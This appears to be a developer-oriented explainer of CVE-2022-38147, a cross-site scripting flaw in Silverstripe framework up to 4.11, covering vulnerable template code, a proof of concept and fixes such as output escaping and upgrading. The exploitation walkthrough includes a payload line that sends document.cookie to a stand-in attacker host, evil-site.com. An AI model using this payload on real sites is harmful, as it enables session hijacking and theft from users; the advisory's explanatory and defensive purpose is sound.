Silverstripe is a popular open-source CMS and application framework built in PHP. In 2022, a serious vulnerability was discovered in Silverstripe’s silverstripe/framework (up to version 4.11), allowing attackers to perform Cross-Site Scripting (XSS) attacks. This specific flaw is tracked as CVE-2022-38147 and is known as “issue 3 of 3” from a set of related XSS bugs.
This article gives you a clear, straightforward explanation of CVE-2022-38147, how it works, where it lives in the code, and how attackers can exploit it, with code examples, references, and ways to stay safe.
What Is CVE-2022-38147?
CVE-2022-38147 is an XSS vulnerability affecting Silverstripe’s framework component. It allows an attacker to inject malicious scripts that get executed when a user visits certain pages, letting the attacker run code as the victim—like stealing login cookies, session tokens, or performing actions on behalf of the user.
Versions Affected
* silverstripe/framework through 4.11 (all releases before 4.12.)
Type: Stored or Reflected XSS
Severity: Medium to High
Where’s the Vulnerability?
This XSS bug happens when user-controlled data is not properly sanitized and is output directly into HTML content. “Issue 3 of 3” relates to scenarios where certain Silverstripe templates or controllers include variables in their output without escaping the content for safe HTML display.
Example Vulnerable Code
Here’s a simplified, typical example explaining how this issue can show up in a Silverstripe page template:
Vulnerable template code (e.g., .ss template)
<p>Welcome, $Name</p>
If $Name comes from user input and isn’t sanitized, an attacker can supply a value like
<script>alert('XSS!');</script>
That renders as
<p>Welcome, <script>alert('XSS!');</script></p>
When loaded in the browser, the JavaScript runs—demonstrating a classic XSS.
Exploit Details
Let’s walk through a simple exploitation scenario assuming you have a Silverstripe site affected by CVE-2022-38147.
How an Attacker Can Use This XSS
1. Find a Form or Profile Updater that uses the user’s input and displays it back somewhere on the page, like “Hello, [Name]!”
`
fetch('<a href="https://evil-site.com/cookie?data='+document.cookie" rel="nofollow">https://evil-site.com/cookie?data='+document.cookie</a>)
`
3. Trigger the Output: Visit the profile page or some page that displays the input. The script executes, sending the user’s cookies to the attacker’s server.
Proof of Concept
Step 1: Submit payload via any field reflected in a template
<script>alert('Silverstripe XSS')</script>
Step 2: Visit the page where your value is displayed.
Expected result: You’ll see an alert box pop up. In real attacks, this could be used to steal data, hijack sessions, or deface web pages.
How to Fix or Prevent CVE-2022-38147
Silverstripe’s template engine provides ways to escape output—but developers need to use them!
Escape User Input: Use filters like .XML to escape content properly.
`html
Welcome, $Name.XML
`
This prevents scripts from executing, because special characters are converted to safe HTML entities.
Update Silverstripe: The Silverstripe team fixed this in version 4.12..
- Silverstripe 4.12. Release Notes
Always keep up with the latest patches for any framework.
3. Validate and Sanitize Input: Never trust user input. Clean it up both on input and before rendering.
Official Advisory:
Silverstripe CVE-2022-38147 advisory
GitHub Issue Tracker:
silverstripe/silverstripe-framework Security
NVD CVE Details:
Wrap-Up: Stay Safe!
CVE-2022-38147 (issue 3 of 3) is a clear reminder: Always escape user input before displaying it in HTML! If you use Silverstripe (or any template-based CMS), upgrade your framework, review your templates, and be vigilant about sanitation.
If you’re a Silverstripe developer or site admin, check your code for spots like $Value or $Name and make sure they’re safely escaped—never trust user input!
Share this guide to help others secure their Silverstripe projects and avoid XSS headaches.
*This article is exclusive and tailored for developers and sysadmins who want easy-to-understand vulnerability info with demo exploit code and essential reference links. Stay patched and code safe!*
Timeline
Published on: 11/23/2022 03:15:00 UTC
Last modified on: 11/30/2022 14:53:00 UTC